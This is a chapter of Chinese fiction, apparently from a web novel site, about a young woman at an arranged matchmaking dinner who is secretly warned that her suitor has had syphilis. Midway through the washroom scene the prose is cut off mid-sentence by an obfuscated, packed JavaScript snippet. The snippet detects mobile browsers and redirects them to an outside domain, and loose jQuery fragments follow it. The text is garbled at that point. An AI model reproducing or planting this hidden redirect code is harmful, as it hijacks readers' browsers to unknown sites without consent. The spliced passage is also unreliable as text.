陈家宴会过后的几天，也就是她穿那身一点也不合身的洋装的那天，天气焖得跟天空被什么东西罩住一般，整个南州都被放在蒸笼里蒸着。热风贴着肌肤擦过，像细细的水泼在手肘和锁骨上，一点一点收紧她的呼吸。


    那是件灰蓝色的洋装，剪裁贴身，衣料在光下泛着低调的哑光。领口是一个半圆，正好卡在锁骨上缘，领边缝了一圈极细的银丝绣边，近看像是银线缠出的蛛网，轻巧、冷静、令人不敢碰。


    袖子只到三分之二，恰到好处地露出一节手臂。她站在镜前试着抬手，动作受了衣料的拘束，只能细微地举到胸口，像一个刚学会敬礼的女学生。


    她原本想换一套衣服，被母亲按住：“不，林家崇尚西法，别穿旗袍，显得老气。”


    母亲翻出这套洋装时语气轻描淡写：“从香港定的，缝得好。”


    那句话她没应，只是低头整理扣子。一颗一颗全是包金的贝母扣，细得像鱼眼，扣进去时要先把指甲撑进扣环，再轻轻一转——像一件婚纱，或者把自己锁进什么东西。


    她头发挽成一个松髻，用的是最普通的一根乌木簪。耳边两缕碎发被母亲捋过去，藏进耳后。


    “别露出来，”母亲说，“林家人注重仪态。”


    她点头，什么也没说。


    陈家的车停在租界里最大的一家西式餐厅门口。正值日落，阳光在窗玻璃上映出她的影子，模糊不清，但像她的尾巴一样，拉得极长。


    她下车的时候裙摆轻轻扫过小腿，皮鞋跟敲在地上发出细碎的响。她母亲走在前面，侧脸安静，像一块修过多次的玉石。走进门前，她回头看了蔚青一眼，语气极平常地说：“林家那位长子温文有礼，去过东洋，回来任职电力总局，是拿得出手的年轻人。”


    她看着母亲一边说话，一边用指尖替她拉平肩部的线条，就像在抚平什么必须被展示给别人看的褶皱。


    “最重要的，是守规矩。”母亲最后说，“不抽大烟，不赌钱。现在这年头，找个‘不坏’的，已经不容易了。”


    蔚青点了点头，轻轻拉了拉袖口，指尖在衣料上摩挲了一下，她决定自己在确认这布料底下的那副骨头还是不是自己的。


    她低头走进餐厅。背后被母亲狠狠一拍：“站直了。”


    她站直了，像一根刚被削过的铅笔，被人握在手里，只等落笔签字。


    餐厅里正播放着老留声机唱片，声音混着空气中的冷气与鲜花香，像从一口深井里飘上来的幽幽回响。她脚尖踏进大理石地砖的那一刻，整个人像被放入另一个世界——光线被天花上的琉璃灯打得温黄，服务生穿着白西服在席间低语穿梭，瓷器碰响时有种贵族专用的克制。


    她像一个误入剧场的观众，偏偏被人点了名，让她上台。


    桌上铺着干净得没有一点折痕的白布，银餐具整齐排列在金边盘子旁，每个叉子的齿口都像要精准切进她的咽喉。


    林家人已经到了。林母穿着烟灰色的纱衣，戴着一对珠母耳环，笑得客气，眼神却像在审样品。


    林公子起身替她拉椅子，一身藏青西装，没有领针，扣子只系到第二颗，嗓音低沉有礼：“陈小姐，久仰。”


    他的声音温度正好，但她觉得那语调里带着一种冷静的计算感，像在用尺子丈量她的笑容弧度。她坐下时，裙摆在椅子边轻轻展开，如一张摊开的图纸，纸上不是未来，而是落款。


    她的母亲开始与林家寒暄，林母笑着说：“阿彦自小体弱，这几年身体调养得不错。也正是时候了，我们想，适合成个家。”


    “是啊，”母亲接着说，“蔚青也大了。她读书是读得多了点，可终归还是要回归生活。”


    她听着这些话从左右两边温柔地铺过来，像餐布盖在热汤上，安静、体贴、窒息。


    林公子朝她伸出右手，像是在等待一枚印章在合约末尾落下一般等着她的回握。他的五指修长，干净，指甲修得极短。但她注意到那只手的指节处，皮肤颜色略深，一圈一圈发白，像是旧伤痕硬结后留下的浮肿纹理。


    她小心翼翼地回握住他的手，二人的手得体地碰在一起，像一个交易，然后分开。他不紧不慢地掏出怀表看了眼，说：“我来的路上还在想——今天这天气，像蒸笼里煮人，穿着西装就是受罪。”


    她听出那是种风趣的寒暄，却觉得他嗓音里的温度和他说话的内容并不匹配，像是某种被训练出的好客公式。


    林公子放下怀表，笑道：“我小时候有一阵子，特别着迷计算尺。后来父亲让我去读工程，在东洋学的是电讯，但我还是偷偷买了个打孔机，自己造模型。”


    他说得轻巧又略带一点少年气的自嘲：“我那时候非要给家里的猫做实验。什么牛顿、莱布尼茨、那个物理学界的新星你知不知道，叫什么……AlbertEinstein？你知道吗？他们的大作，我都拜读过。”


    这话一出，她忍不住笑了，虽然有点卖弄，但她是真被惹笑了。那笑从胸口泛上来，像藏了太久的雾气终于被戳破。


    林公子也笑着看她：“我在报上看到你的文章了——我很佩服。”


    “只是，只是写在朋友办着玩的报刊上的文章，还真稚嫩……没什么好佩服的……”她感觉自己的耳朵有点发烫，可能已经红了。


    他抿了一口水，语调温和，他看了眼她，好像很满意的样子，然后继续说——带着一种轻轻叩门的姿态：“像你这样的人，如果愿意嫁进林家，我不敢说会保证你能去大学、做学术……但我愿意为你留一间屋子。你若不想做别的，就在那里做做学问也好。”


    这一句话像一根针，从她左肩慢慢刺进皮肤，一点不疼，却叫人发麻。


    她愣了一下，没有答话。


    她的手搭在餐巾上，指节还在不自觉地摩挲那枚银叉的花纹。那花纹极细密，像机器里未完工的齿轮。


    她原本以为今天会像往常一样——是一场被安排的演出，她照本宣科，坐满流程。但现在她却听见自己的心里，有一道门微微开了。


    他不是那么让人讨厌，不像她过去遇见过的那种“会来提亲的人”。


    是不是也许这不是一场牺牲？是不是命运也许留了一道出口？


    她没注意到自己笑了。


    那是一种几乎让她陌生的笑，轻轻挂在嘴角，没有经过练习，也没有被告诫过“要得体”。林公子说“我愿意为你留一间屋子”的时候，她甚至能想象到那是个静静的书房，窗开在东侧，光能透进来。那里也许没有机器、没有实验，但也没有人叫她“别太多话”、“别抬眼睛”、“别再提什么科学”。


    她忽然觉得自己有点累，想靠一下，哪怕只靠一会儿。


    正在这时，母亲侧头对她说：“你去洗个手吧，脸有点热。”语气轻巧但又锋利，仿佛在提醒她说：“你是不是太飘飘然了？”


    她点点头，起身，裙角带起一点喜悦的风。


    走廊上很安静，餐厅的琴声远远压在后头。她走进盥洗室，洗手池的水哗哗流，她不急着洗，只在水面上停了停——那水像一张没来得及弄皱的纸，映出她半张脸。


    她看着那张脸：眼尾略弯，鼻尖泛红，唇角还有一点没意识到的弧度。


    她拿毛巾擦了擦手，回头时，洗手台旁站着一个女人，穿一件旧蓝布衫，低着头装作洗手。她抬头时，那是个她似曾相识的人，一张在亲戚中模糊过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502437|170413||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的脸，像是在那里等了她很久了。


    女人递给她一张纸条，手指飞快一卷，将它塞进她的掌心，只低声说了一句：“你看一眼就知道了。”


    女人走得很快，怕自己留下痕迹。


    她怔了一下，没立刻打开纸。她站了一会儿，像是想再确认一下刚才的笑是不是真的。


    她打开水龙头，把水调到最小，水声在流。她低头，把那张纸摊开。


    字写得很轻，但每一笔像是用针刺出来的。


    “林子彦得过花柳病。


    快跑，蔚青，快跑。


    ——陈礼盈”


    她盯着那张纸，足足过了五秒，才猛然反应过来——


    “陈礼盈”是谁。


    那个名字她小时候听过很多次，后来越来越少，再后来就没人提了。


    一个“风评不好”的堂姐。


    起初是说“嫁得好，嫁给了一个在上海开厂的老板”，又过了一年，说“退婚了”，原因也不清楚。后来又说“再嫁”，嫁给一个巡捕房的翻译官，据说“性子不坏，就是太老”。


    她记得那年家里人吃饭提起这事，有人只是淡淡说了一句：“她也是倔得不知好歹。”


    现在她才明白，那不是倔，那只是挣扎，甚至出不了一点的水花。


    她突然有点想笑，笑自己的天真。


    她想起林子彦手上的痕迹——那一圈一圈发白的硬结，梅毒痊愈的痕迹，那不是她现在才认出来的。她早在握手那一刻，就看见了、察觉了，只是那时候，她没让自己细想。


    她选择了不看见，就像家里人当年看着陈礼盈一样——没人是真没发现，只是没人愿意承认。


    她脑子里突然涌起一个念头——厕所这边有窗，窗外是小花园，三步之后就是后门。


    她可以翻下去。


    真的，翻下去，沿着后巷走，就能离开这个地方，离开那张纸说的命运，离开那间“为她留的屋子”。


    “快跑。”


    她甚至下意识地往窗边走了一步。


    可她停住了。


    裙子太紧，鞋太高，窗户太窄，风一吹上来，都是餐厅里玫瑰与牛排的味道。


    ——不是障碍，那都是借口，她知道她只是没有勇气。


    她没翻。她把那张纸放在洗手池里，看着水慢慢地把纸上的字晕开，湿透，碎裂。


    她回到餐桌，像什么都没发过一样，桌上的甜点还在冒气。林公子正用叉子戳着奶油球，听他母亲讲某位督军的家宴。


    她默默坐回位子，林子彦手上那颗奶油球“啪”一声被他戳破，她吓了一跳，接着又笑着说：“抱歉，刚刚有点头晕。”


    她母亲正打算开口说什么，蔚青忽然轻轻弯下身——


    她吐了，来不及冲出包间，就直接吐在餐巾上，桌边所有人都吓了一跳。甜点的香气和她胃里的恶心搅成一团。


    林母立刻站起来，惊叫道：“是不是吃坏了？”林公子也慌了，递水递纸巾，嘴里一直在说着：“没关系，别慌”。


    她母亲的脸，一瞬间阴下来了。但她没有责骂，看上去十分着急，她只是扶着蔚青，语气快、低又压着火：“你这样太失礼了。”


    她一边说，一边掏帕子擦她额头上的汗，动作极快，像是怕别人看出什么。


    “走吧。”她说，“我们回去。”


    她们提前退席，一路无话。直到回到车上，车门关上，母亲沉默地看着窗外，一言不发，只是偶尔担心地偏过头来看看她。


    她靠着车窗，闭上眼。耳朵里还嗡嗡响着，她好像听到了有人对她喊，好像是自己的声音。


    “快跑，陈蔚青，快跑。”